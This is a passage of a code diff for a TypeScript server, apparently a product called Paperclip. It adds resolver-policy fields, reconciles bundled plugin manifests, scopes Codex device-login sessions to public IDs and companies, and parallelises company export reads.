+    ?? (row.requestedResolverPolicy === "board_only" || row.requestedResolverPolicy === "board_or_agents"
+      ? "legacy_inherited_restriction"
+      : "inherited")) as IssueThreadInteractionResolverPolicyProvenance;
+  return {
+    requestedResolverPolicy: canonicalizeStoredResolverPolicy(row.requestedResolverPolicy, provenance),
+    effectiveResolverPolicy: canonicalizeStoredResolverPolicy(row.effectiveResolverPolicy, provenance),
+    effectiveResolverPolicySource:
+      (row.effectiveResolverPolicySource ?? "requested") as IssueThreadInteractionEffectiveResolverPolicySource,
+    resolverPolicyProvenance: provenance,
+    addresseeAgentId: row.addresseeAgentId,
+    addresseeName: row.addresseeAgentId ? agentName(row.addresseeAgentId) : null,
+    createdByAgentId: row.createdByAgentId,
+    createdByAgentName: row.createdByAgentId ? agentName(row.createdByAgentId) : null,
+  };
+}
+
 function collapsePendingConfirmationsToNewest<T extends {
   id: string;
   issueId: string;
@@ -776,6 +826,7 @@ async function issueSummaryMap(db: Db, companyId: string, issueIds: Array<string
       title: issues.title,
       status: issues.status,
       priority: issues.priority,
+      reviewPolicy: issues.reviewPolicy,
       assigneeAgentId: issues.assigneeAgentId,
       assigneeUserId: issues.assigneeUserId,
       createdAt: issues.createdAt,
@@ -801,6 +852,7 @@ async function issueSummaryMap(db: Db, companyId: string, issueIds: Array<string
     title: row.title,
     status: row.status,
     priority: row.priority,
+    reviewPolicy: row.reviewPolicy ?? null,
     assigneeAgentId: row.assigneeAgentId,
     assigneeUserId: row.assigneeUserId,
     createdAt: row.createdAt,
@@ -1121,6 +1173,10 @@ export function attentionService(db: Db, serviceOptions: AttentionServiceOptions
           payload: issueThreadInteractions.payload,
           addresseeAgentId: issueThreadInteractions.addresseeAgentId,
           createdByAgentId: issueThreadInteractions.createdByAgentId,
+          requestedResolverPolicy: issueThreadInteractions.requestedResolverPolicy,
+          effectiveResolverPolicy: issueThreadInteractions.effectiveResolverPolicy,
+          resolverPolicyProvenance: issueThreadInteractions.resolverPolicyProvenance,
+          effectiveResolverPolicySource: issueThreadInteractions.effectiveResolverPolicySource,
           createdAt: issueThreadInteractions.createdAt,
           updatedAt: issueThreadInteractions.updatedAt,
         })
@@ -1130,7 +1186,14 @@ export function attentionService(db: Db, serviceOptions: AttentionServiceOptions
           inArray(issueThreadInteractions.status, [...PENDING_INTERACTION_STATUSES]),
         ))
         .orderBy(desc(issueThreadInteractions.updatedAt), desc(issueThreadInteractions.id));
-      const companyAgentRows: AgentOrgRow[] = interactionRows.some((row) => row.addresseeAgentId !== null)
+      // Addressee invokability needs the org graph; the audience line also needs
+      // the creator's name whenever the effective policy excludes it, so a
+      // creator-excluding row pulls the roster in too (PAP-17287).
+      const needsCompanyAgents = interactionRows.some((row) =>
+        row.addresseeAgentId !== null
+        || canonicalizeStoredResolverPolicy(row.effectiveResolverPolicy, row.resolverPolicyProvenance) === "not_creator"
+      );
+      const companyAgentRows: AgentOrgRow[] = needsCompanyAgents
         ? await db
           .select({
             id: agents.id,
@@ -1198,6 +1261,10 @@ export function attentionService(db: Db, serviceOptions: AttentionServiceOptions
           relatedIssue: issue ? issueSubject(prefix, issue) : null,
           ...issueContext(issue),
           detail,
+          resolverAudience: interactionResolverAudience(
+            interaction,
+            (agentId) => companyAgentMap.get(agentId)?.name ?? null,
+          ),
         }));
       }
 
diff --git a/server/src/services/bundled-plugins.ts b/server/src/services/bundled-plugins.ts
index a3c27a7e260..6e79c27b7d4 100644
--- a/server/src/services/bundled-plugins.ts
+++ b/server/src/services/bundled-plugins.ts
@@ -1,5 +1,6 @@
 import path from "node:path";
 import fs from "node:fs";
+import type { PaperclipPluginManifestV1 } from "@paperclipai/shared";
 
 /**
  * Bundled plugin auto-provisioning.
@@ -190,16 +191,23 @@ interface RegistryPluginRow {
   id: string;
   pluginKey: string;
   status: string;
+  version: string;
+  manifestJson: PaperclipPluginManifestV1;
 }
 
 export interface BundledPluginProvisionerDeps {
   registry: {
     getByKey(pluginKey: string): Promise<RegistryPluginRow | null>;
+    update(
+      id: string,
+      data: { version?: string; manifest?: PaperclipPluginManifestV1 },
+    ): Promise<unknown>;
   };
   loader: {
     installPlugin(options: { localPath: string }): Promise<{
       manifest: { id: string } | null;
     }>;
+    loadManifest(packagePath: string): Promise<PaperclipPluginManifestV1 | null>;
   };
   lifecycle: {
     load(pluginId: string): Promise<unknown>;
@@ -216,6 +224,49 @@ function defaultBundleManifestExists(localPath: string): boolean {
   return fs.existsSync(path.join(localPath, "dist", "manifest.js"));
 }
 
+/**
+ * Reconcile a present bundled plugin's persisted manifest with the shipped
+ * bundle. The bundle is part of the release image, so its manifest is the
+ * source of truth. When the bundle declares a version that differs from the
+ * persisted version, update the stored manifest and version. This propagates
+ * a manifest change (for example a new driver capability) to an existing
+ * install that the auto-install path skips.
+ *
+ * The step is fail-safe. A missing bundle, a manifest read error, or a
+ * database error is caught, logged, and swallowed, so boot always completes.
+ * The step updates only the stored manifest row; it never restarts the worker.
+ */
+async function reconcileBundledPluginManifest(
+  existing: RegistryPluginRow,
+  install: ResolvedBundledPlugin,
+  deps: BundledPluginProvisionerDeps,
+  bundleManifestExists: (localPath: string) => boolean,
+): Promise<void> {
+  try {
+    if (!bundleManifestExists(install.localPath)) return;
+    const bundleManifest = await deps.loader.loadManifest(install.localPath);
+    if (!bundleManifest) return;
+    if (bundleManifest.version === existing.version) return;
+    await deps.registry.update(existing.id, {
+      version: bundleManifest.version,
+      manifest: bundleManifest,
+    });
+    deps.logger.info(
+      {
+        pluginKey: install.pluginKey,
+        fromVersion: existing.version,
+        toVersion: bundleManifest.version,
+      },
+      "reconciled bundled plugin manifest to the shipped bundle version",
+    );
+  } catch (err) {
+    deps.logger.error(
+      { err, pluginKey: install.pluginKey },
+      "Failed to reconcile bundled plugin manifest; continuing boot with the stored manifest",
+    );
+  }
+}
+
 /**
  * Ensure each resolved bundled plugin is installed and loaded.
  *
@@ -226,7 +277,9 @@ function defaultBundleManifestExists(localPath: string): boolean {
  *
  * Skip semantics:
  * - A plugin present in any non-uninstalled state is skipped, so an
- *   operator-disabled plugin is not silently re-enabled on reboot.
+ *   operator-disabled plugin is not silently re-enabled on reboot. Before the
+ *   skip, the persisted manifest is reconciled to the shipped bundle version
+ *   (see `reconcileBundledPluginManifest`).
  * - A soft-uninstalled plugin is reinstalled only when
  *   `reinstallUninstalled` is set (managed mode, where the control plane
  *   owns provisioning). Self-hosted keeps the pre-refactor behavior of
@@ -242,6 +295,14 @@ export async function ensureBundledPlugins(
     try {
       const existing = await deps.registry.getByKey(install.pluginKey);
       if (existing && (existing.status !== "uninstalled" || !opts.reinstallUninstalled)) {
+        // The bundle ships with the release image, so its manifest is the
+        // source of truth for a present plugin. Reconcile the persisted
+        // manifest when the shipped bundle declares a newer version. Without
+        // this step a manifest capability added to a bundle never reaches an
+        // existing install, because the auto-install below skips a present
+        // plugin. The reconcile updates only the stored manifest row; the
+        // running worker already runs the shipped code.
+        await reconcileBundledPluginManifest(existing, install, deps, bundleManifestExists);
         deps.logger.info(
           { pluginKey: install.pluginKey, status: existing.status },
           "bundled plugin already present; skipping auto-install",
diff --git a/server/src/services/codex-device-login-reaper.ts b/server/src/services/codex-device-login-reaper.ts
index a2300636982..8096b0476cf 100644
--- a/server/src/services/codex-device-login-reaper.ts
+++ b/server/src/services/codex-device-login-reaper.ts
@@ -1,8 +1,9 @@
-import { inArray } from "drizzle-orm";
+import { and, eq, inArray } from "drizzle-orm";
 import type { Db } from "@paperclipai/db";
 import { adapterAuthSessions } from "@paperclipai/db";
 import {
   ADAPTER_AUTH_ACTIVE_STATUSES,
+  CODEX_DEVICE_LOGIN_ADAPTER_TYPE,
   decodePendingTerminal,
   LOGIN_LEASE_SESSION_TAG_KEY,
   observeSandboxDelete,
@@ -166,6 +167,7 @@ export function createCodexDeviceLoginReaper(deps: CodexDeviceLoginReaperDeps) {
       const pendingWrite = terminalCleanupWrite(false, "timed_out", null);
       const claimed = await store.withCompanyAdapterPromotionLock(
         row.companyId,
+        row.startedByUserId,
         row.adapterType,
         () =>
           store.compareAndSetStatus({
@@ -313,10 +315,15 @@ export function createProductionLoginSessionReaperRuntime(
         .selectDistinct({ environmentId: adapterAuthSessions.environmentId })
         .from(adapterAuthSessions)
         .where(
-          inArray(adapterAuthSessions.status, [
-            ...ADAPTER_AUTH_ACTIVE_STATUSES,
-            "cleanup_pending",
-          ]),
+          and(
+            // The shared table also holds the setup-token rows. Filter by the
+            // device-login adapter, so the orphan sweep reads only Codex rows.
+            eq(adapterAuthSessions.adapterType, CODEX_DEVICE_LOGIN_ADAPTER_TYPE),
+            inArray(adapterAuthSessions.status, [
+              ...ADAPTER_AUTH_ACTIVE_STATUSES,
+              "cleanup_pending",
+            ]),
+          ),
         );
       const tagged: TaggedLease[] = [];
       for (const { environmentId } of environmentRows) {
diff --git a/server/src/services/codex-device-login-service.ts b/server/src/services/codex-device-login-service.ts
index f2774b9da94..a3c0d4361fa 100644
--- a/server/src/services/codex-device-login-service.ts
+++ b/server/src/services/codex-device-login-service.ts
@@ -21,6 +21,7 @@ import {
   type SandboxLoginDriver,
 } from "@paperclipai/adapter-codex-local/server";
 import type { EnvironmentRuntimeService } from "./environment-runtime.js";
+import { buildLoginLeaseAcquireArgs } from "./adapter-login-lease.js";
 import { environmentService } from "./environments.js";
 
 // The login-session service. It creates a login session, acquires a fresh
@@ -104,11 +105,12 @@ export interface LoginSessionRuntime {
 }
 
 /** The per-session context the promotion seam needs. The service knows the
- *  session, the company, and the adapter, so the promotion resolves the company
- *  scope and the sole-active-owner check for this exact session. */
+ *  session, the company, the owner, and the adapter, so the promotion resolves
+ *  the company slot and the sole-active-owner check for this exact session. */
 export interface CredentialPromotionContext {
   sessionId: string;
   companyId: string;
+  startedByUserId: string;
   adapterType: AgentAdapterType;
 }
 
@@ -210,6 +212,10 @@ export class AdapterAuthSessionConflictError extends Error {
 
 export interface AdapterAuthSessionRow {
   id: string;
+  /** The public, CSPRNG session identifier. The API returns and looks up this
+   *  value. It never equals the internal primary-key `id`, so a caller cannot
+   *  address a row by the internal id. */
+  publicSessionId: string;
   companyId: string;
   environmentId: string;
   adapterType: AgentAdapterType;
@@ -227,6 +233,9 @@ export interface AdapterAuthSessionRow {
 
 export interface InsertAdapterAuthSessionInput {
   id: string;
+  /** The public, CSPRNG session identifier. The service builds it and returns it
+   *  to the client; the store persists it in `public_session_id`. */
+  publicSessionId: string;
   companyId: string;
   environmentId: string;
   adapterType: AgentAdapterType;
@@ -272,33 +281,44 @@ export interface AdapterAuthSessionStore {
   /** A conditional status write. It returns true only when it changed one row. */
   compareAndSetStatus(input: CompareAndSetAdapterAuthSessionStatusInput): Promise<boolean>;
   get(sessionId: string): Promise<AdapterAuthSessionRow | null>;
+  /**
+   * Read a session by its public session id, scoped to the company and the Codex
+   * device-login adapter. The predicate carries the company id, so a query never
+   * keys on the public session id alone, and a foreign-company caller reads
+   * nothing. It never accepts the internal primary-key `id`.
+   */
+  getByPublicId(publicSessionId: string, companyId: string): Promise<AdapterAuthSessionRow | null>;
   /** Run `fn` while the process holds the promotion critical-section lock for the
-   *  company and adapter. The reaper reclaims a stale `promoting` row inside this
-   *  lock, so a reclaim never interleaves with a live credential write. */
+   *  company, owner, and adapter slot. The reaper reclaims a stale `promoting`
+   *  row inside this lock, so a reclaim never interleaves with a live credential
+   *  write for the same slot. */
   withCompanyAdapterPromotionLock<T>(
     companyId: string,
+    startedByUserId: string,
     adapterType: AgentAdapterType,
     fn: () => Promise<T>,
   ): Promise<T>;
 }
 
 /** Build the advisory-lock key for the promotion critical section. The key is
- *  company-scoped and adapter-scoped, so two different company slots never
- *  contend. The credential-promotion path and the reaper reclaim both derive the
- *  key from this function, so they take the exact same lock. */
+ *  scoped to the company, the owner, and the adapter, so two different slots
+ *  never contend. The credential-promotion path and the reaper reclaim both
+ *  derive the key from this function, so they take the exact same lock. */
 export function adapterLoginPromotionLockKey(
   companyId: string,
+  startedByUserId: string,
   adapterType: AgentAdapterType,
 ): string {
-  return `paperclip:adapter-login-promotion:${companyId}:${adapterType}`;
+  return `paperclip:adapter-login-promotion:${companyId}:${startedByUserId}:${adapterType}`;
 }
 
 /**
- * Run `fn` inside the promotion critical section for one company and adapter.
+ * Run `fn` inside the promotion critical section for one company, owner, and
+ * adapter slot.
  *
  * The function opens a database transaction and takes a transaction-scoped
  * PostgreSQL advisory lock. The lock serializes the credential-promotion path
- * against the reaper reclaim, so a reaper never releases the company slot while a
+ * against the reaper reclaim, so a reaper never releases the slot while a
  * credential write runs, and a stale promotion never writes after the reaper
  * reclaims the slot. The transaction holds the lock through `fn`, so the caller
  * runs the ownership check and the credential write in one mutually-exclusive
@@ -308,10 +328,11 @@ export function adapterLoginPromotionLockKey(
 export async function withAdapterLoginPromotionLock<T>(
   db: Db,
   companyId: string,
+  startedByUserId: string,
   adapterType: AgentAdapterType,
   fn: () => Promise<T>,
 ): Promise<T> {
-  const key = adapterLoginPromotionLockKey(companyId, adapterType);
+  const key = adapterLoginPromotionLockKey(companyId, startedByUserId, adapterType);
   return db.transaction(async (tx) => {
     await tx.execute(sql`select pg_advisory_xact_lock(hashtextextended(${key}, 0))`);
     return fn();
@@ -354,10 +375,12 @@ export interface AdapterAuthReaperStore {
   compareAndSetStatus(input: CompareAndSetAdapterAuthSessionStatusInput): Promise<boolean>;
   get(sessionId: string): Promise<AdapterAuthSessionRow | null>;
   /** Run `fn` while the process holds the promotion critical-section lock for the
-   *  company and adapter. The reaper reclaims a stale `promoting` row inside this
-   *  lock, so a reclaim never interleaves with a live credential write. */
+   *  company, owner, and adapter slot. The reaper reclaims a stale `promoting`
+   *  row inside this lock, so a reclaim never interleaves with a live credential
+   *  write for the same slot. */
   withCompanyAdapterPromotionLock<T>(
     companyId: string,
+    startedByUserId: string,
     adapterType: AgentAdapterType,
     fn: () => Promise<T>,
   ): Promise<T>;
@@ -385,12 +408,16 @@ function isUniqueViolation(error: unknown): boolean {
 function toRow(row: typeof adapterAuthSessions.$inferSelect): AdapterAuthSessionRow {
   return {
     id: row.id,
+    publicSessionId: row.publicSessionId,
     companyId: row.companyId,
     environmentId: row.environmentId,
     adapterType: row.adapterType,
     startedByUserId: row.startedByUserId,
     providerLeaseId: row.providerLeaseId ?? null,
-    status: row.status,
+    // The unified `status` column type is the merged login-state union. A Codex
+    // device-login row only ever holds a Codex internal status, so narrow the
+    // read back to the internal union the service reasons about.
+    status: row.status as AdapterAuthSessionInternalStatus,
     expiresAt: row.expiresAt ?? null,
     promotionExpiresAt: row.promotionExpiresAt ?? null,
     finishedAt: row.finishedAt ?? null,
@@ -427,6 +454,11 @@ export function createDbAdapterAuthSessionStore(
           environmentId: input.environmentId,
           adapterType: input.adapterType,
           startedByUserId: input.startedByUserId,
+          // The unified table requires a unique public session id. The service
+          // builds it from a CSPRNG and returns it to the client, so the store
+          // persists that value here. It never uses the internal id, a timestamp,
+          // or a counter.
+          publicSessionId: input.publicSessionId,
           status: "starting",
           expiresAt: input.expiresAt,
           createdAt: input.at,
@@ -477,6 +509,25 @@ export function createDbAdapterAuthSessionStore(
       const row = rows[0];
       return row ? toRow(row) : null;
     },
+    async getByPublicId(publicSessionId, companyId) {
+      // The predicate carries the company id and the Codex device-login adapter,
+      // so a read never keys on the public session id alone. A foreign-company or
+      // foreign-adapter caller reads nothing. The internal primary-key `id` never
+      // matches, so a caller cannot address a row by the internal id.
+      const rows = await db
+        .select()
+        .from(adapterAuthSessions)
+        .where(
+          and(
+            eq(adapterAuthSessions.publicSessionId, publicSessionId),
+            eq(adapterAuthSessions.companyId, companyId),
+            eq(adapterAuthSessions.adapterType, CODEX_DEVICE_LOGIN_ADAPTER_TYPE),
+          ),
+        )
+        .limit(1);
+      const row = rows[0];
+      return row ? toRow(row) : null;
+    },
     async listExpiredActiveSessions(nowAt) {
       // The partial index on the active statuses and the index on `expiresAt`
       // both support this scan. The scan is bounded by the active-status set, so
@@ -489,6 +540,9 @@ export function createDbAdapterAuthSessionStore(
         .from(adapterAuthSessions)
         .where(
           and(
+            // The shared table also holds the setup-token rows, so every reaper
+            // scan filters by the device-login adapter to reach only Codex rows.
+            eq(adapterAuthSessions.adapterType, CODEX_DEVICE_LOGIN_ADAPTER_TYPE),
             inArray(adapterAuthSessions.status, [...ADAPTER_AUTH_ACTIVE_STATUSES]),
             isNotNull(adapterAuthSessions.expiresAt),
             lte(adapterAuthSessions.expiresAt, nowAt),
@@ -505,20 +559,30 @@ export function createDbAdapterAuthSessionStore(
       const rows = await db
         .select()
         .from(adapterAuthSessions)
-        .where(eq(adapterAuthSessions.status, "cleanup_pending"));
+        .where(
+          and(
+            eq(adapterAuthSessions.adapterType, CODEX_DEVICE_LOGIN_ADAPTER_TYPE),
+            eq(adapterAuthSessions.status, "cleanup_pending"),
+          ),
+        );
       return rows.map(toRow);
     },
     async listLeaseReferences() {
       const rows = await db
         .select({ providerLeaseId: adapterAuthSessions.providerLeaseId })
         .from(adapterAuthSessions)
-        .where(isNotNull(adapterAuthSessions.providerLeaseId));
+        .where(
+          and(
+            eq(adapterAuthSessions.adapterType, CODEX_DEVICE_LOGIN_ADAPTER_TYPE),
+            isNotNull(adapterAuthSessions.providerLeaseId),
+          ),
+        );
       return rows
         .map((row) => row.providerLeaseId)
         .filter((value): value is string => value != null);
     },
-    async withCompanyAdapterPromotionLock(companyId, adapterType, fn) {
-      return withAdapterLoginPromotionLock(db, companyId, adapterType, fn);
+    async withCompanyAdapterPromotionLock(companyId, startedByUserId, adapterType, fn) {
+      return withAdapterLoginPromotionLock(db, companyId, startedByUserId, adapterType, fn);
     },
   };
 }
@@ -644,6 +708,10 @@ export function createCodexDeviceLoginService(deps: CodexDeviceLoginServiceDeps)
     input: StartCodexDeviceLoginInput,
   ): Promise<StartCodexDeviceLoginResult> {
     const sessionId = randomUUID();
+    // The public session identifier the API returns and looks up. It is an
+    // independent CSPRNG value, so it never equals the internal `sessionId` and a
+    // caller cannot address the row by the internal id.
+    const publicSessionId = randomUUID();
     const startedAt = now();
     const ttlSeconds = input.ttlSeconds ?? CODEX_DEVICE_LOGIN_TIMEOUT_MS / 1000;
     const expiresAt = new Date(startedAt.getTime() + ttlSeconds * 1000);
@@ -662,6 +730,7 @@ export function createCodexDeviceLoginService(deps: CodexDeviceLoginServiceDeps)
     // acquires a lease for a losing start.
     await store.insert({
       id: sessionId,
+      publicSessionId,
       companyId: input.companyId,
       environmentId: input.environmentId,
       adapterType: input.adapterType,
@@ -726,7 +795,8 @@ export function createCodexDeviceLoginService(deps: CodexDeviceLoginServiceDeps)
     activity("lease_acquired");
 
     const session: AdapterAuthSessionResponse = {
-      sessionId,
+      // The API identifier is the public session id, never the internal `sessionId`.
+      sessionId: publicSessionId,
       environmentId: input.environmentId,
       status: "starting",
       expiresAt: expiresAt.toISOString(),
@@ -837,6 +907,7 @@ export function createCodexDeviceLoginService(deps: CodexDeviceLoginServiceDeps)
         await promotion.promote(credential, {
           sessionId,
           companyId: input.companyId,
+          startedByUserId: input.startedByUserId,
           adapterType: input.adapterType,
         });
       } catch {
@@ -972,24 +1043,28 @@ export function createCodexDeviceLoginService(deps: CodexDeviceLoginServiceDeps)
   }
 
   async function readOwnerSession(
-    sessionId: string,
+    publicSessionId: string,
+    companyId: string,
     requestingUserId: string,
   ): Promise<AdapterAuthSessionOwnerResponse | null> {
-    const row = await store.get(sessionId);
+    // Look the row up by its public session id, scoped to the company. A
+    // foreign-company caller reads nothing, and the internal id never matches.
+    const row = await store.getByPublicId(publicSessionId, companyId);
     if (!row) return null;
     const isOwner = row.startedByUserId === requestingUserId;
     const status = resolvePublicStatus(row);
     // Deliver the one-time prompt to the owner principal exactly once. The read
     // and the delete run with no await between them, so the first authorized
     // owner read consumes the prompt and every later read returns null. This
-    // keeps the short-lived device code out of a repeated response.
+    // keeps the short-lived device code out of a repeated response. The prompt
+    // map keys on the internal id, so read it by `row.id`, not the public id.
     let prompt: DeviceLoginPrompt | null = null;
     if (isOwner) {
-      prompt = promptsBySession.get(sessionId) ?? null;
-      if (prompt) promptsBySession.delete(sessionId);
+      prompt = promptsBySession.get(row.id) ?? null;
+      if (prompt) promptsBySession.delete(row.id);
     }
     return {
-      sessionId: row.id,
+      sessionId: row.publicSessionId,
       environmentId: row.environmentId,
       status,
       expiresAt: row.expiresAt?.toISOString() ?? null,
@@ -1011,14 +1086,18 @@ export function createCodexDeviceLoginService(deps: CodexDeviceLoginServiceDeps)
   // row, so a cancel never interrupts an in-flight credential write; that
   // promotion runs to its own terminal.
   async function cancelOwnerSession(
-    sessionId: string,
+    publicSessionId: string,
+    companyId: string,
     requestingUserId: string,
   ): Promise<AdapterAuthSessionOwnerResponse | null> {
-    const row = await store.get(sessionId);
+    // Look the row up by its public session id, scoped to the company. The status
+    // write keys on the internal `row.id`, so a cancel never addresses a row by
+    // the public id alone.
+    const row = await store.getByPublicId(publicSessionId, companyId);
     if (!row || row.startedByUserId !== requestingUserId) return null;
     const write = terminalCleanupWrite(false, "cancelled", null);
     await store.compareAndSetStatus({
-      sessionId,
+      sessionId: row.id,
       expectedStatuses: ["starting", "waiting_for_user"],
       status: write.status,
       at: now(),
@@ -1026,7 +1105,7 @@ export function createCodexDeviceLoginService(deps: CodexDeviceLoginServiceDeps)
       finishedAt: now(),
       promotionExpiresAt: null,
     });
-    return readOwnerSession(sessionId, requestingUserId);
+    return readOwnerSession(publicSessionId, companyId, requestingUserId);
   }
 
   return { start, readOwnerSession, cancelOwnerSession };
@@ -1157,20 +1236,15 @@ export function createProductionLoginSessionRuntime(
       if (!environment) {
         throw new Error(`Environment "${input.environmentId}" is not found.`);
       }
-      const record = await deps.environmentRuntime.acquireRunLease({
-        companyId: input.companyId,
-        environment,
-        issueId: null,
-        agentId: null,
-        // A null heartbeat run and a null execution workspace disable lease
-        // reuse, so the login session always runs in a fresh sandbox.
-        heartbeatRunId: null,
-        persistedExecutionWorkspace: null,
-        adapterType: input.adapterType,
-        // Apply the active custom-image template, so the sandbox binds to the
-        // trusted image and runtime identity.
-        applyCustomImageTemplate: true,
-      });
+      const record = await deps.environmentRuntime.acquireRunLease(
+        buildLoginLeaseAcquireArgs({
+          metadata: {
+            companyId: input.companyId,
+            environment,
+            adapterType: input.adapterType,
+          },
+        }),
+      );
       // Tag the lease with the session identifier, so the reaper resolves an
       // orphan lease that no live session references. The tag carries no secret.
       await environmentsSvc.updateLeaseMetadata(record.lease.id, {
diff --git a/server/src/services/company-export-readme.ts b/server/src/services/company-export-readme.ts
index f352828886a..c3134059251 100644
--- a/server/src/services/company-export-readme.ts
+++ b/server/src/services/company-export-readme.ts
@@ -157,7 +157,7 @@ export function generateReadme(
   lines.push("## Getting Started");
   lines.push("");
   lines.push("```bash");
-  lines.push("pnpm exec paperclipai company import this-github-url-or-folder");
+  lines.push("npx paperclipai company import this-github-url-or-folder");
   lines.push("```");
   lines.push("");
   lines.push("See [Paperclip](https://paperclip.ing) for more information.");
diff --git a/server/src/services/company-portability.ts b/server/src/services/company-portability.ts
index c86c2bbbefd..ecc17fc4e53 100644
--- a/server/src/services/company-portability.ts
+++ b/server/src/services/company-portability.ts
@@ -105,6 +105,31 @@ import type {
   ImportIssueAttachmentRow,
 } from "./import-write-types.js";
 
+const EXPORT_READ_CONCURRENCY = 8;
+const EXPORT_ISSUE_READ_CONCURRENCY = 2;
+
+async function mapWithConcurrency<T, R>(
+  items: readonly T[],
+  concurrency: number,
+  mapper: (item: T) => Promise<R>,
+): Promise<R[]> {
+  const results = new Array<R>(items.length);
+  let nextIndex = 0;
+
+  async function worker() {
+    while (nextIndex < items.length) {
+      const index = nextIndex;
+      nextIndex += 1;
+      results[index] = await mapper(items[index]!);
+    }
+  }
+
+  await Promise.all(
+    Array.from({ length: Math.min(concurrency, items.length) }, () => worker()),
+  );
+  return results;
+}
+
 /** Build OrgNode tree from manifest agent list (slug + reportsToSlug). */
 function buildOrgTreeFromManifest(agents: CompanyPortabilityManifest["agents"]): OrgNode[] {
   const ROLE_LABELS: Record<string, string> = {
@@ -745,6 +770,10 @@ const ADAPTER_DEFAULT_RULES_BY_TYPE: Record<string, Array<{ path: string[]; valu
     { path: ["timeoutSec"], value: 0 },
     { path: ["graceSec"], value: 15 },
   ],
+  kimi_local: [
+    { path: ["timeoutSec"], value: 0 },
+    { path: ["graceSec"], value: 15 },
+  ],
   opencode_local: [
     { path: ["timeoutSec"], value: 0 },
     { path: ["graceSec"], value: 15 },
@@ -3738,6 +3767,7 @@ export function companyPortabilityService(db: Db, storage?: StorageService) {
   async function exportBundle(
     companyId: string,
     input: CompanyPortabilityExport,
+    options: { preview?: boolean } = {},
   ): Promise<CompanyPortabilityExportResult> {
     const include = normalizeInclude({
       ...input.include,
@@ -3783,7 +3813,7 @@ export function companyPortabilityService(db: Db, storage?: StorageService) {
     const liveAgentRows = allAgentRows.filter((agent) => agent.status !== "terminated");
     const builtInAgentRows = liveAgentRows.filter((agent) => readBuiltInAgentMarker(agent.metadata));
     const portableAgentRows = liveAgentRows.filter((agent) => !readBuiltInAgentMarker(agent.metadata));
-    const companySkillRowsRaw = include.skills || include.agents ? await companySkills.listFull(companyId) : [];
+    const companySkillRowsRaw = include.skills ? await companySkills.listFull(companyId) : [];
     const managedSkillRows = companySkillRowsRaw.filter((skill) => managedSkillIds.has(skill.id));
     const companySkillRows = companySkillRowsRaw.filter((skill) => !managedSkillIds.has(skill.id));
     if (include.agents) {
@@ -4094,27 +4124,50 @@ export function companyPortabilityService(db: Db, storage?: StorageService) {
       .sort((left, right) => left.key.localeCompare(right.key));
 
     const skillExportDirs = buildSkillExportDirMap(selectedSkillRows, company.issuePrefix);
+    const skillFileJobs: Array<{ filePath: string; load: () => Promise<string | null> }> = [];
     for (const skill of selectedSkillRows) {
       const packageDir = skillExportDirs.get(skill.key) ?? `skills/${normalizeSkillSlug(skill.slug) ?? "skill"}`;
       if (shouldReferenceSkillOnExport(skill, Boolean(input.expandReferencedSkills))) {
-        files[`${packageDir}/SKILL.md`] = await buildReferencedSkillMarkdown(skill);
+        skillFileJobs.push({
+          filePath: `${packageDir}/SKILL.md`,
+          load: () => buildReferencedSkillMarkdown(skill),
+        });
         continue;
       }
 
       for (const inventoryEntry of skill.fileInventory) {
-        const fileDetail = await companySkills.readFile(companyId, skill.id, inventoryEntry.path).catch(() => null);
-        if (!fileDetail) continue;
-        const filePath = `${packageDir}/${inventoryEntry.path}`;
-        files[filePath] = inventoryEntry.path === "SKILL.md"
-          ? await withSkillSourceMetadata(skill, fileDetail.content)
-          : fileDetail.content;
+        skillFileJobs.push({
+          filePath: `${packageDir}/${inventoryEntry.path}`,
+          load: async () => {
+            const fileDetail = await companySkills
+              .readFile(companyId, skill.id, inventoryEntry.path)
+              .catch(() => null);
+            if (!fileDetail) return null;
+            return inventoryEntry.path === "SKILL.md"
+              ? withSkillSourceMetadata(skill, fileDetail.content)
+              : fileDetail.content;
+          },
+        });
       }
     }
+    const skillFileResults = await mapWithConcurrency(
+      skillFileJobs,
+      EXPORT_READ_CONCURRENCY,
+      async (job) => ({ filePath: job.filePath, content: await job.load() }),
+    );
+    for (const result of skillFileResults) {
+      if (result.content !== null) files[result.filePath] = result.content;
+    }
 
     if (include.agents) {
+      const agentInstructionsById = new Map(
+        await mapWithConcurrency(agentRows, EXPORT_READ_CONCURRENCY, async (agent) => (
+          [agent.id, await instructions.exportFiles(agent)] as const
+        )),
+      );
       for (const agent of agentRows) {
         const slug = idToSlug.get(agent.id)!;
-        const exportedInstructions = await instructions.exportFiles(agent);
+        const exportedInstructions = agentInstructionsById.get(agent.id)!;
         warnings.push(...exportedInstructions.warnings);
 
         const envInputsStart = envInputs.length;
@@ -4262,7 +4315,36 @@ export function companyPortabilityService(db: Db, storage?: StorageService) {
     let unexportedParentEdgeCount = 0;
     let unportableWorkProductRefCount = 0;
     const exportedBlobs = new Map<string, CompanyPortabilityBlobManifestEntry>();
+    // A task export needs several independent relations per task. Load a
+    // bounded number of task groups in parallel so large companies do not pay
+    // thousands of serialized database round trips, while still respecting
+    // the default database pool size.
+    const issueExportDetails = new Map(
+      await mapWithConcurrency(
+        selectedIssueRows,
+        EXPORT_ISSUE_READ_CONCURRENCY,
+        async (issue) => {
+          const [comments, relationSummaries, issueDocumentRows, workProductRows, attachmentRows] = await Promise.all([
+            issuesSvc.listComments(issue.id, { order: "asc" }),
+            issuesSvc.getRelationSummaries(issue.id),
+            documentsSvc.listIssueDocuments(issue.id, { includeSystem: true }),
+            workProductsSvc.listForIssue(issue.id),
+            issuesSvc.listAttachments(issue.id),
+          ]);
+          return [issue.id, {
+            comments,
+            relationSummaries,
+            issueDocumentRows,
+            workProductRows,
+            attachmentRows: attachmentRows
+              .slice()
+              .sort((left, right) => new Date(left.createdAt).getTime() - new Date(right.createdAt).getTime()),
+          }] as const;
+        },
+      ),
+    );
     for (const issue of selectedIssueRows) {
+      const details = issueExportDetails.get(issue.id)!;
       const taskSlug = taskSlugByIssueId.get(issue.id)!;
       const projectSlug = issue.projectId ? (projectSlugById.get(issue.projectId) ?? null) : null;
       // All tasks go in top-level tasks/ folder, never nested under projects/
@@ -4283,10 +4365,10 @@ export function companyPortabilityService(db: Db, storage?: StorageService) {
           });
         }
       }
-      const comments = await issuesSvc.listComments(issue.id, { order: "asc" });
+      const comments = details.comments;
       // Blocker edges travel by task slug; only edges with both endpoints in
       // the export can be carried.
-      const relationSummaries = await issuesSvc.getRelationSummaries(issue.id);
+      const relationSummaries = details.relationSummaries;
       const blockedBySlugs: string[] = [];
       for (const blocker of relationSummaries.blockedBy) {
         const blockerSlug = taskSlugByIssueId.get(blocker.id);
@@ -4307,7 +4389,7 @@ export function companyPortabilityService(db: Db, storage?: StorageService) {
